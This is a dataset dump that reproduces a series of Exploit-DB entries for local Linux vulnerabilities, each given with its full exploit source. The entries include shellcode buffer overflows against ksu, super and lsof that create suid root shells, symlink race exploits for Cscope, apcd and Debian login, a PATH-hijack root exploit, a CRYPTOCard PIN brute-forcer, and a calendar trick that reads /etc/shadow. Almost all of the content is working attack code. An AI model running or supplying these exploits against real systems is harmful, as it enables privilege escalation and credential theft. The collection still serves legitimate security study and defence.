deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19838
Description: CRYPTOCard CRYPTOAdmin 4.1 - Weak Encryption (1)
Type: local
Platform: linux
Date: 2000-04-10
Author: kingpin

Exploit:
// source: https://www.securityfocus.com/bid/1097/info

CRYPTOCard CRYPTOAdmin is a network authentication application for use with the Palm OS platform. CRYPTOAdmin generates a .pdb file which contains the username, PIN number, serial number, and key in encrypted or plaintext format. The PIN number can be retrieved due to the software's usage of a fixed 4-byte value in key generation. With access to the .pdb file and PIN number, a user is capable of duplicating the token onto another Palm device effectively gaining access to the network as the compromised user. 

#include<stdio.h>
#include<des.h>

int main(int argc, char **argv)
{
        des_cblock in,out,key,valid = {0x63, 0x6A, 0x2A, 0x3F, 
                                     0x25, 0x6D, 0x67, 0x6C};
        des_key_schedule sched;
        unsigned long massaged;
        FILE *pdb;
                 
        if (argc == 1)
        {
                fprintf(stdout, "\nUsage: %s <.PDB filename>\n\n", argv[0]);
        return 1;
        }       

        fprintf(stdout, "\nCRYPTOCard PT-1 PIN Extractor\n");
        fprintf(stdout, "kingpin@atstake.com\n");
        fprintf(stdout, "@Stake L0pht Research Labs\n");
        fprintf(stdout, "http://www.atstake.com\n\n");
        
        if((pdb = fopen(argv[1], "rb")) == NULL)
        {
                fprintf(stderr, "Missing input file %s.\n\n", argv[1]);
                return 1;
        }
        
        fseek(pdb, 189L, SEEK_SET);
        if (fread(in, 1, 8, pdb) != 8)
        {
                fprintf(stderr, "Error getting ciphertext string.\n\n");
                return 1;
        }
        
        fclose(pdb);
                
        key[4] = 0x24;
        key[5] = 0x7E;
        key[6] = 0x3E;
        key[7] = 0x6C;

        for (massaged = 0; massaged < 900000000; massaged += 9)
        {
                key[0]=(massaged>>24) & 0xff;
                key[1]=(massaged>>16) & 0xff;
                key[2]=(massaged>>8) & 0xff;
                key[3]=(massaged) & 0xff;

                des_set_key(&key,sched);
                des_ecb_encrypt(&in,&out,sched,DES_DECRYPT);
        
                if (memcmp(out, valid, 8) == 0)
                {
                        fprintf(stdout, "\n\nPIN: %d", massaged/9);
                break;
                }

                if ((massaged % 900000) == 0)
                {
                fprintf(stdout, "#");
                fflush(stdout);
                }
        }

        fprintf(stdout, "\n\n");
        return 0;
}
Exploit-DB #24749
Description: Cscope 13.0/15.x - Insecure Temporary File Creation (1)
Type: local
Platform: linux
Date: 2004-11-17
Author: Gangstuck

Exploit:
source: https://www.securityfocus.com/bid/11697/info

Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. 

During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. 

Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. 

Versions up to and including Cscope 15.5 are reported vulnerable.

#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
#################################################################

HOWM=30
CURR=`ps | grep ps | awk '{print $1}'`
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
LAST=`expr $NEXT + $HOWM`

echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
        "                 [versions 15.5 and minor]\n"\
        "                   Gangstuck / Psirac\n"\
        "                 <research@rexotec.com>\n\n"

if [ $# -lt 1 ]; then
        echo "Usage: $0 <file1> [number_of_guesses]"
        exit 1
fi

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
        ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
        ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done
Exploit-DB #24750
Description: Cscope 13.0/15.x - Insecure Temporary File Creation (2)
Type: local
Platform: linux
Date: 2004-11-17
Author: Gangstuck

Exploit:
// source: https://www.securityfocus.com/bid/11697/info
 
Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it.
 
During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it.
 
Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application.
 
Versions up to and including Cscope 15.5 are reported vulnerable.
/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE   64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];

        fprintf(stdout, "\n     --[ Cscope Exploit ]--\n"\
                        "     version 15.5 and minor \n" \
                        "       Gangstuck / Psirac\n" \
                        "     <research@rexotec.com>\n\n");

        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
                return 1;
        }

        cur=getpid();
        lst=cur+atoi(av[2]);

        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, lst);

        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}
Exploit-DB #695
Description: Cscope 15.5 - Symlink
Type: local
Platform: linux
Date: 2004-12-17
Author: Gangstuck

Exploit:
/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE 64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];
        
        fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
                        " version 15.5 and minor \n" \
                        " Gangstuck / Psirac\n" \
                        " <research@rexotec.com>\n\n");
                        
        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
                return 1;
        }
        
        cur=getpid();
        lst=cur+atoi(av[2]);
        
        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, lst);
        
        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}

// milw0rm.com [2004-12-17]
Exploit-DB #19925
Description: Cygnus Network Security 4.0/KerbNet 5.0 / MIT Kerberos 4/5 / RedHat 6.2 - Compatibility 'krb_rd_req()' Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 2000-05-26
Author: Jim Paris

Exploit:
// source: https://www.securityfocus.com/bid/1220/info
 
 
Several buffer overflow vulnerabilities exist in Kerberos 5 implmenetations due to buffer overflows in the Kerberos 4 compatability code. These include MIT Kerberos 5 releases 1.0.x, 1.1 and 1.1.1, MIT Kerberos 4 patch level 10 (and, most likely, prior releases), and Cygnus KerbNet and Network Security (CNS). The main source of problems is due to a buffer overflow in the krb_rd_req() library function. This function is used by every application that supports Kerberos 4 authentication, including, but not limited to, kshrd, klogin, telnetd, ftpd, rkinitd, v4rcp and kpopd. Therefore, it is possible for a remote attacker to exploit this vulnerability and gain root access on affected machines, or obtain root level access once local.
 
A setuid version of v4rcp is shipped with RedHat Linux 6.2, as part of a full install. It is possible to use this program, to obtain root level access.
 
In addition, there are other buffer overruns present in the ksu and krshd sources from MIT. These problems will be remedied in the same release from MIT that fixes the krrb_rd_req() vulnerability.

/********
 * ksux.c -- ksu exploit
 * written January 26, 2000
 * Jim Paris <jim@jtan.com>
 * 
 * This program exploits a vulnerability in the 'ksu' utility included
 * with the MIT Kerberos distribution.  Versions prior to 1.1.1 are   
 * vulnerable.
 * 
 * This exploit is for Linux/x86 with Kerberos version 1.0.  Exploits
 * for other operating systems and versions of Kerberos should also work.
 * 
 * Since krb5_parse_name will reject input with an @ or /, this shellcode
 * execs 'sh' instead of '/bin/sh'.  As a result, a copy of 'sh' must    
 * reside in the current directory for the exploit to work. 
 * 
 */
   
#include <stdlib.h>
#include <stdio.h> 

int get_esp(void) { __asm__("movl %esp,%eax"); }

char *shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x02\x89\x46"
                "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffsh"; 
                
#define         LEN 0x300
#define  RET_OFFSET 0x240
#define  JMP_OFFSET 0x240
#define CODE_OFFSET 0x100

int main(int argc, char *argv[])
{
  int esp=get_esp();
  int i,j; char b[LEN];
  
  memset(b,0x90,LEN);
  memcpy(b+CODE_OFFSET,shellcode,strlen(shellcode));
  *(int *)&b[RET_OFFSET]=esp+JMP_OFFSET;
  b[RET_OFFSET+4]=0;
  
  execlp("ksu","ksu","-n",b,NULL);
}
Exploit-DB #19146
Description: DataLynx suGuard 1.0 - Local Privilege Escalation
Type: local
Platform: linux
Date: 1999-01-03
Author: Dr. Mudge

Exploit:
#source: https://www.securityfocus.com/bid/186/info
#
#A vulnerability exists within the DataLynx's suGuard program which allows a local attacker to gain administrative privilege by exploiting poor use of the /tmp directory and poor programming. 

#!/bin/sh
# sgrun exploit - the types of vulnerabilities that this exploit exercises
#  have no right being introduced to code in this day and age. Much less
#  code which presents itself under the pretenses of securing your system.
#   .mudge 01.02.99
#
SUSHI=./sushi

if [ $# -ne 2 ] ; then
  echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument
  echo  mudge@l0pht.com [01.02.99]
  exit 1
fi
  
SGRUN=$1
ARG=$2

if [ -f ${SUSHI} ] ; then
  echo root shell already created?
  exit
fi

echo datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]
echo

cat > ./ps << FOEFOE
#!/bin/sh
cp /bin/ksh ${SUSHI}
chown root ${SUSHI}
chmod 4555 ${SUSHI}
FOEFOE

chmod 755 ./ps

PATH=.:${PATH}
export PATH

#/bin/datalynx/sgrun Identify 
${SGRUN} ${ARG}
if [ -f ${SUSHI} ] ; then
  echo root shell created as ${SUSHI}
  ls -l ${SUSHI}
  echo
fi
Exploit-DB #7313
Description: Debian - Symlink In Login Arbitrary File Ownership
Type: local
Platform: linux
Date: 2008-12-01
Author: Paul Szabo

Exploit:
#!/bin/bash -

echo '
	#include <string.h>
	#include <stdlib.h>
	#include <unistd.h>
	#include <utmp.h>
	#include <sys/types.h>
	#include <stdio.h>

	int main(int argc, char *argv[])
	{
	  struct utmp entry;
	  int i;

	  entry.ut_type=LOGIN_PROCESS;
	  strcpy(entry.ut_line,"/tmp/x");
	  entry.ut_time=0;
	  strcpy(entry.ut_user,"badguy");
	  strcpy(entry.ut_host,"badhost");
	  entry.ut_addr=0;
	  for(i=1;i<9;i++) {
	    entry.ut_pid=(pid_t)( i + (int)getpid() );
	    sprintf(entry.ut_id,"bad%d",i);
	    pututline(&entry);
	  }
	}
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
	#include <unistd.h>

	int main(int argc, char *argv[])
	{
	  while(1)
	  {
	    unlink("/tmp/x");
	    symlink(argv[1],"/tmp/x");
	    unlink("/tmp/x");
	    symlink(argv[2],"/tmp/x");
	  }
	}
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

# milw0rm.com [2008-12-01]
Exploit-DB #19270
Description: Debian 2.0 - Super Syslog Buffer Overflow
Type: local
Platform: linux
Date: 1999-02-25
Author: c0nd0r

Exploit:
// source: https://www.securityfocus.com/bid/342/info
// 
// After the first super buffer overflow vulnerability was discovered, another appeared shortly after. This vulnerability exists when the syslog option is enabled. The overflow is in the file error.c, in the Error() function where the buf[MAXPRINT] buffer is used with no bounds checking. The consequences of this are local root compromise. 
// 
// --------------- SDI-super.c --------------------------------------
// 
/*
* [ Sekure SDI ]
* [ Brazilian Info Security Team ]
* | ---------------------------------- ]
* | SUPER exploit for linux |
* | ---------------------------------- |
* | |
* | http://ssc.sekure.org |
* | Sekure SDI Secure Coding Team |
* | |
* | ---------------------------------- |
* | by c0nd0r <condor@sekure.org> |
* | ---------------------------------- |
* [ thanks for the ppl at sekure.org: ]
* [ jamez(shellcode), bishop, dumped, ]
* [ bahamas, fcon, vader, yuckfoo. ]
*
*
* This will exploit a buffer overflow condition in the log section of
* the SUPER program.
*
* It will create a suid bash owned by root at /tmp/sh.
* (It'll defeat the debian bash-2.xx protection against rootshell)
*
* Note: The SUPER program must be compiled with the SYSLOG option.
*
* also thanks people from #uground (irc.brasnet.org network)
*
*/
char shellcode[] =
"\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
"\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
"\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff"
"/bin/sh -c cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh";
unsigned long getsp ( void) {
__asm__("mov %esp,%eax");
}
main ( int argc, char *argv[] ) {
char itamar[2040]; // ta mar mesmo
long addr;
int x, y, offset = 1000, align=0;
if ( argc > 1) offset = atoi(argv[1]);
addr = getsp() + offset;
for ( x = 0; x < (1410-strlen(shellcode)); x++)
itamar[x] = 0x90;
for ( ; y < strlen(shellcode); x++, y++)
itamar[x] = shellcode[y];
for ( ; x < 1500; x+=4) {
itamar[x ] = (addr & 0xff000000) >> 24;
itamar[x+1] = (addr & 0x000000ff);
itamar[x+2] = (addr & 0x0000ff00) >> 8;
itamar[x+3] = (addr & 0x00ff0000) >> 16;
}
itamar[x++] = '\0';
printf ( "\nwargames at 0x%x, offset %d\n", addr, offset);
printf ( "Look for a suid shell root owned at /tmp/sh\n");
execl ( "/usr/local/bin/super", "super", "-T",itamar, (char *) 0);
}
Exploit-DB #19373
Description: Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof' Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 1999-02-17
Author: c0nd0r

Exploit:
// source: https://www.securityfocus.com/bid/496/info
//
// Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.
//

/*
 * Sekure SDI (Brazilian Information Security Team)
 * lsof local exploit for linux
 * by c0nd0r <condor@sekure.org>
 *
 * Security problem found by HERT. (www.hert.org)
 *
 * -> This little tool will bring you a suid or sgid shell owned by lsof
 *    user (root|kmem usually) at /tmp directory (/tmp/sh).
 *
 * -----------------------------------------------------------------------
 * Code explanation: We've used a unsual technique here.
 * The buffer allocated was too small for the standard expl, so we did a
 * little trick, by overflowing with 'A' till reaching the ret address and
 * then we've filled with NOP and the shellcode just after the modified
 * ret address. So we have a different exploit architeture:
 * [garbage][eip modified][lotsa NOP's][shellcode]
 * That's why we need a bigger offset.
 * -----------------------------------------------------------------------
 *
 * usage ( needa have a little brain):
 *  ./SDI-lsof <offset> (between 373-505)
 *
 * 4 phun - http://www.sekure.org
 * Thanks to jamez, dumped, bishop, bahamas, slide, falcon, vader
 * and guys at #uground (irc.brasnet.org network)
 *
 */


/* change the lsof path if it's needed */
#define PATH "/usr/bin/lsof"


char shellcode[] =
        "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
        "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
        "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
        "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";


unsigned long getsp ( void) {
  __asm__("mov %esp,%eax");
}

main ( int argc, char *argv[0]) {
  char b00m[220];
  long addr;
  int x, y, offset=380;

  if (argc > 1) offset = atoi(argv[1]);

  for (x = 0; x < 16; x++)
    b00m[x] = 'A';

  addr = getsp() + offset;
  printf ( "SDI-lsof exploiting at 0x%x\n", addr);

  b00m[x++] = addr & 0x000000ff;
  b00m[x++] = (addr & 0x0000ff00) >> 8;
  b00m[x++] = (addr & 0x00ff0000) >> 16;
  b00m[x++] = (addr & 0xff000000) >> 24;

  for ( ; x < 100; x++)
    b00m[x] = 0x90;

  for (y = 0; y < strlen(shellcode); y++, x++)
    b00m[x] = shellcode[y];

  b00m[strlen(b00m)] = '\0';

  printf ( "\nFind a suid shell at /tmp/sh...\n\n");
  execl ( PATH, PATH, "-u", b00m, (char *)0);
  perror ( "execl") ;

}
Exploit-DB #19374
Description: Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof' Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 1999-02-17
Author: Zhodiac

Exploit:
// source: https://www.securityfocus.com/bid/496/info
 
Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.

/* http://www.hackersnetwork.net! */

/*
 *  Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
 *  Based on Aleph's article in phrack49
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                   0
#define DEFAULT_BUFFER_SIZE             32
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  char comando[512];

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  snprintf(comando,511,"lsof -u %s",buff);
  system(comando);
}
Exploit-DB #19735
Description: Debian 2.1 - apcd Symlink
Type: local
Platform: linux
Date: 2000-02-01
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/958/info

A vulnerability exists in the apcd package, as shipped in Debian GNU/Linux 2.1. By sending the apcd process a SIGUSR1, a file will be created in /tmp called upsstat. This file contains information about the status of the APC device. This file is not opened securely, however, and it is possible for an attacker to create a symlink with this name to another place on the file system. This could, in turn, lead to a compromise of the root account.

apcd is used to monitor information from APC uninterruptable power supplies. The ups will inform the apcd that power has been removed, and the apcd will shut down the machine. 


ln -sf /tmp/upsstat /.rhosts
(wait for SIGUSR1 to be sent)
echo + + >> /.rhosts
rsh localhost -l root
Exploit-DB #24421
Description: Debian bsdmainutils 6.0.14 - Calendar Information Disclosure
Type: local
Platform: linux
Date: 2004-08-31
Author: Steven Van Acker

Exploit:
// source: https://www.securityfocus.com/bid/11077/info

The calendar utility contained in the bsdmainutils package on Debian GNU/Linux systems is reported susceptible to an information disclosure vulnerability. This is due to a lack of proper file authorization checks by the application.

The application fails to enforce permissions of included files when run as the superuser with the '-a' argument, therefore it is possible for a local attacker to create a calendar file that will disclose the contents of arbitrary, potentially sensitive files. This may aid them in further attacks against the affected computer.

By default, the package is installed with a crontab file that will not call the calendar utility. Systems are only affected if the crontab is enabled by administrators.

Debian GNU/Linux computers with bsdmainutils versions prior to 6.0.15 are reported to be vulnerable. 

#define root Jun. 28<tab>cut_here
#include </etc/shadow>
Jun. 28<tab>Birthday of Steven Van Acker
Aug. 19<tab>Birthday of Andrew Griffith

(where <tab> should be replaced by an actual Tab character)
Exploit-DB #19080
Description: Debian suidmanager 0.18 - Command Execution
Type: local
Platform: linux
Date: 1998-04-28
Author: Thomas Roessler

Exploit:
source: https://www.securityfocus.com/bid/94/info

/usr/bin/suidexec will execute arbitrary commands as root,
as soon as just _one_ suid root shell script can be found
on the system: Just invoke

/usr/bin/suidexec <your program> /path/to/script

- it will happily execute your program with euid = 0. This
is completely sufficient for doing arbitrary damage on the
system.